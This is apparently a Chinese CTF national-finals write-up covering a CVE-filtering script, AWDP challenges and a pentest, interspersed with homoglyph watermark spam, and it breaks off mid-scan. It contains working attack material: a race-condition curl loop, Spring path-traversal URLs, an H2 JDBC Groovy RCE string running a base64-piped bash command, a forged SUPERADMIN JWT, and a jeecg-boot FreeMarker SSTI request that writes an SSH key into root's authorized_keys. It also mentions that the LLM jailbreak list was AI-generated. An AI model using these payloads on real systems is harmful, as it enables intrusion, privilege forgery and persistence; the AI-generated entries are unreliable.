今年的国赛决赛依旧是和去年一样蝉联了双国一,ѕ³ⅴen·ѕ⑶𝒗𝘦n∙site𝒔ⅈ𝐭e同时两支队伍都进入了全国前十

Build
Rank 8

1. 知识库构建任务
本任务旨在引导选手围绕网络硬件设备与大模𝒔⑶𝐯𝘦n․ꜱit℮型安全两个方向构建结构化知识库:
一方面,聚焦2020年起Cisco、TP-LINK等主流硬件设备以及车联网设备的漏洞信息,s³ⅴ𝐞n․si𝐭e提取CVE编号、攻击向量、补丁链接等要素并分类整理;
另一方面,围绕ChatGPT、𝘀3ve𝘯∙𝘀ⅈt𝐞文心一言等大模型,系统梳理2023年起公开的提示注入、越狱等攻击技术与防御方案。
1.1 网络硬件设备漏洞
网络硬件设备漏洞内容必须包含以下要素:序号、设备品牌、设备类型、产品型号、CVE编号、漏洞描述、𝒔3𝐯𝐞𝒏.𝒔ite攻击向量、厂商补丁链接、受影响版本、公开日期
注意:设备类型为路由器、交换机、𝘀⑶v𝐞𝐧․sⅈ𝒕𝐞防火墙、IDS、IPS之类的设备品牌,收集范围包含但不限于Cisco、TP-LINK、NETGEAR、ASUS、D-Link;设备类型为车载通信网关、车载信息娱乐系统、V2X通信模块、OTA升级模块、FOTA管理模块、CAN总线控制器等车联网相关设备的品牌不做限制。
对于第一部分,从 NVD Dataꜱ3v𝐞𝐧∙ꜱite Feeds 中下载 2020-2025 年的 Json 格式的所有CVE漏洞数据库,并编写脚本筛选符合要求的漏洞信息写入 xlsx 表格中,对于信息源中的 Json 数据,优先使用 CPE 标识进行匹配和解析,如果不存在 CPE 标识,则 FallBack 到 description 匹配和解析:
import gzip, ijson
from pathlib import Path
import pandas as pd
from tqdm import tqdm
DATA_DIR = Path(".")
YEARS = range(2020, 2026)
def iter_cpes(node):
for c in node.get("cpe_match", []):
yield c
for child in node.get("children", []):
yield from iter_cpes(child)
# 网络设备品牌
VENDORS = {
"cisco","tp-link","tplink","netgear","asus","d-link",
"huawei","dell","broadcom","tesla","continental",
"bosch","panasonic","hp"
}
# 网络设备类型
KEYWORDS1 = {
"router":"路由器","switch":"交换机","firewall":"防火墙",
"ids":"IDS","ips":"IPS"
}
# 车联网设备类型
KEYWORDS2 = {
"gateway":"车载通信网关","infotainment":"信息娱乐系统",
"v2x":"V2X通信模块","ota":"OTA升级模块",
"fota":"FOTA管理模块","can":"CAN总线控制器"
}
def match_uri(uri: str) -> bool:
low = uri.lower()
return (
(any(v in low for v in VENDORS) and any(k in low for k in KEYWORDS1))
or any(k in low for k in KEYWORDS2.keys())
)
def match_description(desc: str) -> bool:
low = desc.lower()
return (
(any(v in low for v in VENDORS) and any(k in low for k in KEYWORDS1))
)
def dtype_from_uri(uri: str) -> str:
low = uri.lower()
for k, zh in KEYWORDS1.items():
if k in low:
return zh
for k, zh in KEYWORDS2.items():
if k in low:
return zh
return "其他网络设备"
def extract(item: dict) -> dict:
meta = item["cve"]["CVE_data_meta"]
cve = meta["ID"]
desc = item["cve"]["description"]["description_data"][0]["value"]
pub = item["publishedDate"].split("T")[0]
av = item.get("impact", {}).get("baseMetricV3", {}).get("cvssV3", {}).get("attackVector", "N/A")
brand = model = "未知"
dtype = "其他网络设备"
versions = set()
for node in item.get("configurations", {}).get("nodes", []):
for cpe in iter_cpes(node):
uri = cpe["cpe23Uri"]
if not match_uri(uri):
continue
parts = uri.split(":")
if len(parts) >= 6:
brand = parts[3] or brand
model = parts[4] or model
dtype = dtype_from_uri(uri)
v = (cpe.get("versionEndIncluding")
or cpe.get("versionStartIncluding")
or cpe.get("version"))
if v and v not in ("-", "*"):
versions.add(v)
if brand == "未知":
low_desc = desc.lower()
for v in VENDORS:
if v in low_desc:
brand = v
break
if dtype == "其他网络设备":
low_desc = desc.lower()
for k, zh in KEYWORDS1.items():
if k in low_desc:
dtype = zh
break
patch = "无可用链接"
for ref in item["cve"]["references"]["reference_data"]:
url = ref["url"]
if brand != "未知" and brand.lower() in url.lower():
patch = url
break
else:
if item["cve"]["references"]["reference_data"]:
patch = item["cve"]["references"]["reference_data"][0]["url"]
return {
"设备品牌": brand,
"设备类型": dtype,
"产品型号": model,
"CVE编号": cve,
"漏洞描述": desc,
"攻击向量": av,
"厂商补丁链接": patch,
"受影响版本": "; ".join(sorted(versions)) if versions else "所有版本或详见公告",
"公开日期": pub,
}
def main():
rows, seen = [], set()
for year in YEARS:
feed = DATA_DIR / f"nvdcve-1.1-{year}.json.gz"
if not feed.exists():
raise FileNotFoundError(feed)
print(f"解析 {year} 中")
with gzip.open(feed, "rb") as fh:
for item in tqdm(ijson.items(fh, "CVE_Items.item"), desc=str(year), unit="CVE"):
# cpe 匹配和解析
cpe_match = any(
match_uri(cpe["cpe23Uri"])
for node in item.get("configurations", {}).get("nodes", [])
for cpe in iter_cpes(node)
)
# FallBack 到 description 匹配和解析
if not cpe_match:
desc_text = item["cve"]["description"]["description_data"][0]["value"]
if not match_description(desc_text):
continue
cid = item["cve"]["CVE_data_meta"]["ID"]
if cid in seen:
continue
seen.add(cid)
rows.append(extract(item))
for i, r in enumerate(rows, 1):
r["序号"] = i
df_all = pd.DataFrame(rows, columns=[
"序号", "设备品牌", "设备类型", "产品型号", "CVE编号",
"漏洞描述", "攻击向量", "厂商补丁链接", "受影响版本", "公开日期"
])
xlsx_path = DATA_DIR / "hw_kb_2020-2025.xlsx"
df_all.to_excel(xlsx_path, sheet_name="网络硬件设备安全知识库", index=False)
print(f"共 {len(df_all)} 条匹配数据:{xlsx_path.name}")
if __name__ == "__main__":
main()
共匹配到了 3428 ꜱ³v𝘦n•𝒔it℮项数据,将其写入第一个表格中:
解析 2020 中
2020: 20601CVE [00:03, 6581.47CVE/s]
解析 2021 中
2021: 23074CVE [00:03, 6227.77CVE/s]
解析 2022 中
2022: 26708CVE [00:03, 7516.68CVE/s]
解析 2023 中
2023: 29773CVE [00:03, 7698.11CVE/s]
解析 2024 中
2024: 38429CVE [00:03, 12594.49CVE/s]
解析 2025 中
2025: 18602CVE [00:00, 18863.93CVE/s]
共 3428 条匹配数据:hw_kb_2020-2025.xlsx
1.2 大模型安全漏洞
大模型安全漏洞内容必须包含以下要素:序号、模型名称、厂商、攻击类型、𝘀3ven.ѕ𝐢te攻击名称、攻击方式描述、是否有PoC、修复方案、防御技术、公开日期
注意:模型名称包括ChatGPT、Gemini、Claude、Llama、文心一言、通义千问等;攻击类型包括提示注入、越狱s𝟯ⅴen.sⅈt𝘦、命令注入等。
对于第二部分,没有找到可靠的数据源,因此直接用 AI 𝘀³ⅴ𝐞𝘯∙s𝘪𝒕e按照模板生成了一百多项:

2. 安全检测项设计任务
选手需在已提供的基础检测项基础上,设计新增内网安全检测项,通过对实际攻击行为、𝘴3ⅴe𝐧.𝘀i𝘵℮系统配置、用户行为、网络通信等多维度的分析,提出合理、必要、具备执行性的检测内容。
检测内容分为5个方向:信息收集、漏洞扫描、𝘀3𝘷ℯ𝘯·𝐬𝘪𝘵e应用安全、主机安全、应急响应
每项检测内容必须包含以下要素:𝐬𝟯ⅴ℮n.𝒔𝘪te测试项、测试步骤
每个基础检测项中最多计分10个有效测试项(不包含原有样例测试项),并且这些测试项属于该检测项的范围,新增检测项设计数量不限,但每支队伍最多计分50个有效的测试项。
这部分还是直接用 s³𝘷𝐞n∙𝐬𝐢teAI 按照模板生成50个有效检测项即可获得满分:

AWDP
1. security_rasp
Fix
注意到 security_rasp.jar 里有一个反序𝐬⑶ve𝒏․s𝘪𝘵𝐞列化入口点:
@RestController
@RequestMapping({"/user"})
public class IndexController {
@PostMapping({"/info"})
public String ser(@RequestParam String data) throws IOException, ScriptException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(Base64.getDecoder().decode(data)));
admin user = (admin)ois.readObject();
return user.getName();
}
直接在 OpenRASP 的 official.js 中 ban 𝘀𝟯𝐯ℯ𝘯•ѕit𝐞掉所有的反序列化操作即可修复成功:
const clean = {
- action: 'ignore',
+ action: 'block',
message: 'Looks fine to me',
confidence: 0
}
if (algorithmConfig.deserialization_blacklist.action != 'ignore')
{
plugin.register('deserialization', function (params, context) {
var clazz = params.clazz
for (var index in algorithmConfig.deserialization_blacklist.clazz) {
if (clazz === algorithmConfig.deserialization_blacklist.clazz[index]) {
return {
action: algorithmConfig.deserialization_blacklist.action,
message: _("Deserialization blacklist - blocked " + clazz + " in resolveClass"),
confidence: 100,
algorithm: 'deserialization_blacklist'
}
}
}
return clean
})
}
2. rbac
题目分析
题目给的是一个 Docker 的 tar s𝟯𝐯e𝒏·𝘀𝐢te镜像,可能是怕我们本地没有 Linux go 的 build 环境(还真没有)
docker load 𝒔𝟯ⅴ𝘦𝐧•𝘴𝘪𝘵𝐞镜像后从镜像中提取 main.go:
package main
import (
"errors"
"os"
"path/filepath"
"strings"
"github.com/gin-gonic/gin"
)
var RBACList = make(map[string]int)
type ResTemplate struct {
Success bool
Data any
}
type ExecStruct struct {
File []string
Directory []string
Pwd []string
Flag []string
FuncName string
Param string
}
func main() {
r := gin.Default()
initRBAC()
r.GET("/", func(c *gin.Context) {
htmlContent, err := os.ReadFile("index.html")
if err != nil {
c.String(400, "Error loading HTML file")
return
}
c.Writer.Write(htmlContent)
})
r.GET("/getCurrentRBAC", func(c *gin.Context) {
var response ResTemplate
if RBACList["rbac:read"] == 1 {
response = ResTemplate{
Success: true,
Data: RBACList,
}
c.JSON(200, response)
} else {
response = ResTemplate{
Success: false,
}
c.JSON(403, response)
}
})
r.POST("/execSysFunc", func(c *gin.Context) {
var execStruct ExecStruct
var response ResTemplate
err := c.ShouldBindJSON(&execStruct)
if err != nil {
response = ResTemplate{
Success: false,
Data: map[string]string{"error": err.Error()},
}
c.JSON(400, response)
}
// permission grant
RBACToGrant := make(map[string]int)
var value string
maxDeep := 0
if execStruct.Directory != nil {
for _, value = range execStruct.Directory {
if maxDeep < 8 {
RBACToGrant["directory:"+value] = 1
maxDeep++
} else {
break
}
}
}
if execStruct.Flag != nil {
for _, value = range execStruct.Flag {
if maxDeep < 8 {
RBACToGrant["flag:"+value] = 1
maxDeep++
} else {
break
}
}
}
if execStruct.Pwd != nil {
for _, value = range execStruct.Pwd {
if maxDeep < 8 {
RBACToGrant["pwd:"+value] = 1
maxDeep++
} else {
break
}
}
}
if execStruct.File != nil {
for _, value = range execStruct.File {
// Grant temporary file:return permissions
if value == "return" && RBACList["rbac:change_return"] != 1 {
if maxDeep < 5 {
RBACToGrant["rbac:change_return:1"] = 1
RBACToGrant["file:"+value] = 1
RBACToGrant["rbac:change_return:0"] = 1
maxDeep += 3
} else {
break
}
} else {
if maxDeep < 8 {
RBACToGrant["file:"+value] = 1
maxDeep++
} else {
break
}
}
}
}
updateRBAC(RBACToGrant)
result, err := execCommand(execStruct.FuncName, execStruct.Param)
if err != nil {
response = ResTemplate{
Success: false,
Data: map[string]string{"error": err.Error()},
}
c.JSON(400, response)
} else {
response = ResTemplate{
Success: true,
Data: map[string]string{"result": result},
}
initRBAC()
c.JSON(200, response)
}
})
r.Run(":80")
}
func initRBAC() {
RBACList = make(map[string]int)
RBACList["file:read"] = 0
RBACList["file:return"] = 0
RBACList["flag:read"] = 0
RBACList["flag:return"] = 0
RBACList["pwd:read"] = 0
RBACList["directory:read"] = 0
RBACList["directory:return"] = 0
RBACList["rbac:read"] = 1
RBACList["rbac:change_read"] = 1
RBACList["rbac:change_return"] = 0
}
func updateRBAC(RBACToGrant map[string]int) {
for key, value := range RBACToGrant {
if strings.HasSuffix(key, ":read") {
if RBACList["rbac:change_read"] == 1 {
RBACList[key] = value
}
} else if strings.HasSuffix(key, ":return") {
if RBACList["rbac:change_return"] == 1 {
RBACList[key] = value
}
} else if key == "rbac:change_return:1" {
RBACList["rbac:change_return"] = 1
} else if key == "rbac:change_return:0" {
RBACList["rbac:change_return"] = 0
} else {
RBACList[key] = value
}
}
}
func execCommand(funcName string, param string) (string, error) {
if funcName == "getPwd" {
if RBACList["pwd:read"] == 1 {
pwd, err := os.Getwd()
return pwd, err
} else {
return "No Permission", nil
}
} else if funcName == "getDirectory" {
// read directory
if RBACList["directory:read"] == 1 {
var fileNames []string
err := filepath.Walk(param, func(path string, info os.FileInfo, err error) error {
fileNames = append(fileNames, info.Name())
return nil
})
if err != nil {
return "error", err
}
directoryFiles := strings.Join(fileNames, " ")
if RBACList["directory:return"] == 1 {
return directoryFiles, nil
} else {
return "the directory " + param + " exists", nil
}
} else {
return "No Permission", nil
}
} else if funcName == "getFile" {
// read file
if RBACList["file:read"] == 1 {
if strings.Contains(param, "flag") {
if RBACList["flag:read"] != 1 {
return "No Permission", nil
}
}
data, err := os.ReadFile(param)
if err != nil {
return "file:"+param+" doesn't exist", nil
}
content := string(data)
if RBACList["file:return"] == 0 {
return "the file " + param + " exists", nil
} else if RBACList["file:return"] == 1 && !strings.Contains(param, "flag") {
return content, nil
} else if RBACList["file:return"] == 1 && strings.Contains(param, "flag") && RBACList["flag:return"] == 1 {
return content, nil
} else {
return "the file " + param + " exists", nil
}
} else {
return "No Permission", nil
}
} else {
return "No such func", errors.New("No such func")
}
}
题目中的各函数主要维护一个用于权限控制的 RBACList,𝘴3𝘷e𝒏·ꜱi𝒕e但没有对该 List 设置互斥锁,导致存在竞态条件
出题人好像出锅了,𝒔3𝐯ℯ𝐧.𝐬𝘪𝒕𝘦这个题目本身的功能实现和控制流都是错误的,由于 𝘴⑶ven.ꜱi𝒕𝐞Go 的 map 是一个哈希表,
updateRBAC(RBACToGrant map[string]int)中对 RBACToGrant 的遍历并不是按照添加的顺序,其遍历顺序是无序且随机化的,因此完全不能实现预期功能,也就导致本题可以被非预期
Fix
直接删除读 flag 𝘀𝟯ⅴℯn•ꜱi𝘵e的逻辑的代码即可:
241 if RBACList["file:return"] == 0 {
242 return "the file " + param + " exists", nil
243 } else if RBACList["file:return"] == 1 && !strings.Contains(param, "flag") {
244 return content, nil
245 - } else if RBACList["file:return"] == 1 && strings.Contains(param, "flag") && RBACList["flag:return"] == 1 {
246 - return content, nil
247 } else {
248 return "the file " + param + " exists", nil
249 }
Break
非预期打法
直接按照正常顺序读一个不存在的目录或者持续输出的目录避免进入 𝐬𝟯𝘷𝐞𝒏•𝐬i𝐭einitRBAC 导致重置
{
"File":[
"read",
"return"
],
"Directory":[
"read",
"return"
],
"Pwd":[],
"Flag":[
"read"
],
"FuncName":"getDirectory",
"Param":"/tmp/zxx"
}
假设这里随机化到了一个 RBACList["rbac:change_return"] = 1 的结果,然后给 ꜱ3𝒗𝐞n·s𝐢𝒕eflag 设返回权限:
{
"File":[
"return"
],
"Directory":[],
"Pwd":[],
"Flag":[
"return"
],
"FuncName":"getDirectory",
"Param":"/tmp/zxx"
}
最后读出 flag:
{
"File":[],
"Directory":[],
"Pwd":[],
"Flag":[],
"FuncName":"getFile",
"Param":"/flag"
}
预期打法
假设该题的功能实ꜱ⑶𝒗℮n·ꜱ𝘪t𝘦现是正确的,
updateRBAC(RBACToGrant map[string]int)中按照添加的顺序对 𝘀³𝒗℮n•ѕ𝐢𝒕𝘦RBACToGrant 进行遍历
由于这里的 RBACList 没有设置全局互斥锁,导致存在竞态条件,当某一请求线程运行到RBACList["rbac:change_return"] = 1 而另一线程运行到 if RBACList["rbac:change_return"] == 1 { RBACList[key] = value } 时即可设置 flag key 的 𝘴𝟯𝒗ℯn•sⅈ𝒕𝐞return 权限从而读出 flag
直接跑两个脚本竞态:
while true; do
curl "http://xxxx/execSysFunc" --data '{"File":["read","return"], "Directory":[],"Pwd":[],"Flag":["read","return"],"FuncName":"getFile","Param":"/proc/1/environ"}';
done
while true; do
curl "http://xxxx/execSysFunc" --data '{"File":[],"Directory":[],"Pwd":[],"Flag":[],"FuncName":"getFile","Param":"/flag"}';
done
其中第一个脚本多线程异步跑,用于创造 flag 的 return 𝘀³ven.𝘀𝘪𝒕℮条件,第二个脚本用于读出flag
3. ota
题目分析
1. Spring 框架目录遍历漏洞
<properties>
<spring-boot.version>3.3.3</spring-boot.version>
</properties>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-undertow</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-webflux</artifactId>
</dependency>
题目使用 undertow + webflux 框架,其中 spring-ꜱ⑶v℮𝘯.ѕⅈteboot version 为 3.3.3,存在 CVE-2024-38816 Spring Framework 目录遍历漏洞,漏洞点如下:
@Configuration
public class WebConfig {
@Bean
public RouterFunction<ServerResponse> route() {
return
RouterFunctions.resources("/static/**", (Resource)new FileSystemResource("/opt/static/"));
}
}
由于 Windows 和 Linux 对 Path 的处理不同,𝐬𝟯ven.ѕ𝐢te这里使用类 Linux 环境进行复现
在 PathResourceLookupFunction#apply 下断点
首先使用静态资源路由 Pattern 进行匹配,留下剩余的 Path 部分,接着对其进行一次 URL decode 得到 ////../////../opt/ota.jar,接着进入 isInvalidPath 判断:
可以看到经过 StringUtils.cleanPath 处理后原来的 Path 变为了 //////opt/ota.jar,这里查看一下 cleanPath 的具体逻辑:
由于使用 / 作为分隔符对路径进行 normalize 化导致产生了多个空路径元素,使得该路径在被处理时消除了用于路径穿越的 s3ⅴ𝐞𝘯․si𝐭𝐞Payload,最终通过 isInvalidPath 检测
最终该 Path 和静态文件路径拼接后实现了目录穿越能够成功读取文件资源
2. h2 database JDBC RCE
注意到题目使用 Java 17,并包含 h2database 和 groovy 依赖:
<properties>
<java.version>17</java.version>
</properties>
<dependency>
<groupId>org.codehaus.groovy</groupId>
<artifactId>groovy-sql</artifactId>
<version>3.0.8</version>
</dependency>
<dependency>
<groupId>com.h2database</groupId>
<artifactId>h2</artifactId>
<version>2.0.204</version>
</dependency>
同时 h2database 的 𝐬𝟯𝘷𝘦n․𝒔ⅈt𝘦JDBC URL 是可控的:
@PostMapping({"/admin/init"})
@ResponseBody
public String initH2Database(@RequestBody JdbcRequest request) {
try {
Class.forName("org.h2.Driver");
Connection connection = DriverManager.getConnection(request.getJdbcUrl(), request.getUsername(), request.getPassword());
connection.close();
return "H2 database initialized successfully!";
} catch (Exception e) {
e.printStackTrace();
return "Failed to initialize H2 database: " + e.getMessage();
}
}
根据经验,此处应该打 h2database JDBC RCE,使用 ѕ3ⅴ𝘦n•ѕ𝘪𝒕egroovy 引擎执行任意 Java 命令:
jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE ALIAS T5 AS '@groovy.transform.ASTTest(value={ assert java.lang.Runtime.getRuntime().exec(\"bash -c {echo,cmd}|{base64,-d}|{bash,-i}\")})def x'
3. JWT Token 伪造
由于 Security 策略中限制了触发 jdbc connect 的路由 /admin/init 的访问权限为 SUPERADMIN,且没有提供获得该权限的途径,𝒔⑶𝒗en∙𝘴it𝘦因此此处需要伪造用于身份认证的 JWT Token
题目给出的附件中没有提供 jwt token,因此需要先通过第一步的目录遍历漏洞读取 ota.ꜱ3𝘷e𝘯․s𝐢tejar,再从中获得 jwt secret 进行伪造
首先使用题目中给出的 ADMIN 账号登录,获得 ѕ𝟯𝐯ℯ𝐧·𝘴ⅈ𝘵℮ADMIN 的 JWT Token:
{
"sub": "admin",
"roles": [
"ROLE_ADMIN"
],
"iat": xxxx,
"exp": xxxx
}
将其修改为以下内容并重新使用 jwt s𝟯ⅴ𝘦𝐧∙𝘴it𝐞secret 签名即可绕过
{
"sub": "admin",
"roles": [
"ROLE_SUPERADMIN"
],
"iat": xxxx,
"exp": xxxx
}
Fix
把依赖里的 spring-parent 从 3.𝐬3ⅴe𝒏․𝘀𝐢te3.3 换到 3.3.4:
<properties>
<spring-boot.version>3.3.3</spring-boot.version>
</properties>
将其修改为:
<properties>
<spring-boot.version>3.3.4</spring-boot.version>
</properties>

可以看到,修复后的𝐬³𝐯e𝒏.ꜱite版本添加了 isInvalidEncodedInputPath 方法用来过滤该绕过场景,其中processPath 方法对第一个前导 / 后的无效字符进行了删除,同时对连续的重复 / 进行了处理,将其恢复为单个 /,从而实现了漏洞修复
这里如果只修复用于触发 h2 database RCE 𝐬⑶𝐯𝐞n·ѕite的部分则无法通过 check,依然是 exp 利用成功,但是如果只修复 Spring 目录遍历漏洞则可以通过 check,猜测可能是 ꜱ⑶𝒗𝘦𝘯.𝒔ⅈ𝘵echecker 的编写是假设了提前知道 flag 的文件名,直接通过目录遍历获得的 Flag
Break
首先利用目录遍历漏洞𝒔⑶𝐯ℯn․𝘀ite拿到 jar 包:
wget /static/%2f/%2f/%2e%2e/%2f/%2f/%2e%2e/opt/ota.jar
然后从 jar s𝟯ve𝘯·𝐬ⅈte包中拿到 jwt secret:
jwt.secret=b3d5f4a7c1e9b2a8d7f6c3e2a1b0d9c8e5f4b3a2d1c0b9a8f7e6d5c4b3a2e1f0
然后构造一个SUPEѕ𝟯𝐯en·𝒔𝐢𝐭eRADMIN token
eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhZG1pbiIsInJvbGVzIjpbIlJPTEVfU1VQRVJBRE1JTiJdLCJpYXQiOjE3NTI5ODgyNjcsImV4cCI6MTc1Mjk4OTEzMX0.Z6-BgAkWSIOGqGx85f96Gt2XW7MoPhYQCxDVJj5LgnNGCyjEf85yqkmU9gb5-ii3UNS744eFcUr9S1_jBHTg2g
最后打 h2 𝘀𝟯𝒗ℯn∙𝘀i𝒕℮groovy rce
{
"jdbcUrl": "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE ALIAS T5 AS '@groovy.transform.ASTTest(value={ assert java.lang.Runtime.getRuntime().exec(\"bash -c {echo,cmd}|{base64,-d}|{bash,-i}\")})def x'",
"username": "sa",
"password": "123123"
}
也算是拿了个国赛的二血。因为本地没存这个 Spring 的 CVE,而且只有 Windows 环境,Windows 里随便写个 URL Encoded ꜱ⑶𝒗en·ꜱ𝐢te的穿越都能实现任读,而 Linux 因为 Path 处理不同而实现不了,所以只能看源码改 Jar 包里的库代码来用 System.out.println 在 Linux 的 Docker 里调试 Payload 调了半天。不过还好这题最后解不多(应该是AWDP Web里解最少分最高的一题),靠这题的 Break 和 Fix 拿了快 1000 分,但也导致剩下两个 Web 只做了 Fix 来不及看 Break 了。
Pentest
1. web01
打开后是一个 𝘀𝟯𝒗𝐞𝐧․𝐬ⅈ𝐭𝐞FinancePro ERP

80端口没什么东西,8081端口有个 𝘀³𝒗en·si𝘵𝐞jeecg-boot

jeecg-boot 存在 queryFieldBySql 接口RCE漏洞(CVE-2023-𝐬3ⅴe𝒏.s𝘪𝒕℮4450),通过 SSTI 模板渲染能够打回显 RCE,直接构造 Payload 写入 SSH Key
POST /jmreport/queryFieldBySql HTTP/1.1
Host: xxxx
Origin: xxxx
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/json
Content-Length: 294
{"sql":"select 'result:<#assign ex=\"freemarker.template.utility.Execute\"?new()> ${ ex(\"bash -c {echo,ZWNobyAic3NoLWVkMjU1MTkgQUFBQUMzTnphQzFsWkRJMU5URTVBQUFBSURkc1JERG1yOFltWVd5SHFBbnBEQjQ2RzNGOStucjZ6aFB4emZPUVRKSisiID4gL3Jvb3QvLnNzaC9hdXRob3JpemVkX2tleXM=}|{base64,-d}|{bash,-i}\") }' "}
ssh 登录后𝘴𝟯𝒗ℯ𝐧∙ѕⅈt℮看网卡配置:
root@web01:~# ifconfig
docker0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 172.17.0.1 netmask 255.255.0.0 broadcast 172.17.255.255
inet6 fe80::42:b6ff:fec8:3122 prefixlen 64 scopeid 0x20<link>
ether 02:42:b6:c8:31:22 txqueuelen 0 (Ethernet)
RX packets 120 bytes 5749 (5.7 KB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 128 bytes 8133 (8.1 KB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 172.22.10.22 netmask 255.255.255.0 broadcast 172.22.10.255
inet6 fe80::216:3eff:fe10:869 prefixlen 64 scopeid 0x20<link>
ether 00:16:3e:10:08:69 txqueuelen 1000 (Ethernet)
RX packets 7518 bytes 9325909 (9.3 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 4445 bytes 7358439 (7.3 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 4596 bytes 1591117 (1.5 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 4596 bytes 1591117 (1.5 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
vetha13ce1e: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet6 fe80::e42f:6cff:fe10:cd7d prefixlen 64 scopeid 0x20<link>
ether e6:2f:6c:10:cd:7d txqueuelen 0 (Ethernet)
RX packets 120 bytes 7429 (7.4 KB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 141 bytes 9139 (9.1 KB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
Fscan 扫内网网段:
root@web01:~# ./FScan_2.0.1_linux_x64 -h 172.22.10.0/24
┌──────────────────────────────────────────────┐
│ ___ _ │
│ / _ \ ___ ___ _ __ __ _ ___| | __ │
│ / /_\/____/ __|/ __| '__/ _` |/ __| |/ / │
│ / /_\\_____\__ \ (__| | | (_| | (__| < │
│ \____/ |___/\___|_| \__,_|\___|_|\_\ │
└──────────────────────────────────────────────┘
Fscan Version: 2.0.1
[1.8s] 已选择服务扫描模式
[1.8s] 开始信息扫描
[1.8s] CIDR范围: 172.22.10.0-172.22.10.255
[1.8s] generate_ip_range_full
[1.8s] 解析CIDR 172.22.10.0/24 -> IP范围 172.22.10.0-172.22.10.255
[1.8s] 最终有效主机数量: 256
[1.8s] 开始主机扫描
[1.8s] 使用服务插件: activemq, cassandra, elasticsearch, findnet, ftp, imap, kafka, ldap, memcached, modbus, mongodb, ms17010, mssql, mysql, neo4j, netbios, oracle, pop3, postgres, rabbitmq, rdp, redis, rsync, smb, smb2, smbghost, smtp, snmp, ssh, telnet, vnc, webpoc, webtitle
[1.8s] [*] 目标 172.22.10.7 存活 (ICMP)
[1.8s] [*] 目标 172.22.10.22 存活 (ICMP)
[1.8s] [*] 目标 172.22.10.17 存活 (ICMP)
[1.8s] [*] 目标 172.22.10.253 存活 (ICMP)
[1.8s] [*] 目标 172.22.10.88 存活 (ICMP)
[4.8s] 存活主机数量: 5
web02:
root@web01:~# sudo ./FScan_2.0.1_linux_x64 -h 172.22.10.88 -p 1-65535
┌──────────────────────────────────────────────┐
│ ___ _ │
│ / _ \ ___ ___ _ __ __ _ ___| | __ │
│ / /_\/____/ __|/ __| '__/ _` |/ __| |/ / │
│ / /_\\_____\__ \ (__| | | (_| | (__| < │
│ \____/ |___/\___|_| \__,_|\___|_|\_\ │
└──────────────────────────────────────────────┘
Fscan Version: 2.0.1
[1.7s] 已选择服务扫描模式
[1.7s] 开始信息扫描
[1.7s] 最终有效主机数量: 1
[1.7s] 开始主机扫描
[1.7s] 使用服务插件: activemq, cassandra, elasticsearch, findnet, ftp, imap, kafka, ldap, memcached, modbus, mongodb, ms17010, mssql, mysql, neo4j, netbios, oracle, pop3, postgres, rabbitmq, rdp, redis, rsync, smb, smb2, smbghost, smtp, snmp, ssh, telnet, vnc, webpoc, webtitle
[1.8s] 有效端口数量: 65535
[1.8s] [*] 端口开放 172.22.10.88:21
[1.8s] [*] 端口开放 172.22.10.88:80
[1.8s] [*] 端口开放 172.22.10.88:445
[1.8s] [*] 端口开放 172.22.10.88:139
[1.8s] [*] 端口开放 172.22.10.88:135
[7.8s] [*] 端口开放 172.22.10.88:3389
[43.2s] [*] 端口开放 172.22.10.88:47001
[44.7s] [*] 端口开放 172.22.10.88:49664
[44.7s] [*] 端口开放 172.22.10.88:49665
[44.7s] [*] 端口开放 172.22.10.88:49666
[44.7s] [*] 端口开放 172.22.10.88:49667
[44.7s] [*] 端口开放 172.22.10.88:49669
[44.7s] [*] 端口开放 172.22.10.88:49668
[44.7s] [*] 端口开放 172.22.10.88:49670
[44.8s] [*] 端口开放 172.22.10.88:49679
[55.1s] 扫描完成, 发现 15 个开放端口
[55.1s] 存活端口数量: 15
[55.1s] 开始漏洞扫描
[55.1s] [*] NetInfo 扫描结果
目标主机: 172.22.10.88
主机名: web02
发现的网络接口:
IPv4地址:
└─ 172.22.10.88
[55.1s] [*] 网站标题 http://172.22.10.88 状态码:200 长度:46 标题:无标题
[55.2s] [+] NetBios 172.22.10.88 WORKGROUP\WEB02
[55.2s] POC加载完成: 总共387个,成功387个,失败0个
[55.2s] [+] FTP服务 172.22.10.88:21 匿名登录成功!
[1m18s] 扫描已完成: 10/10
database:
root@web01:~# ./FScan_2.0.1_linux_x64 -h 172.22.10.7 -p 1-65535
┌──────────────────────────────────────────────┐
│ ___ _ │
│ / _ \ ___ ___ _ __ __ _ ___| | __ │
│ / /_\/____/ __|/ __| '__/ _` |/ __| |/ / │
│ / /_\\_____\__ \ (__| | | (_| | (__| < │
│ \____/ |___/\___|_| \__,_|\___|_|\_\ │
└──────────────────────────────────────────────┘
Fscan Version: 2.0.1
[1.8s] 已选择服务扫描模式
[1.8s] 开始信息扫描
[1.8s] 最终有效主机数量: 1
[1.8s] 开始主机扫描
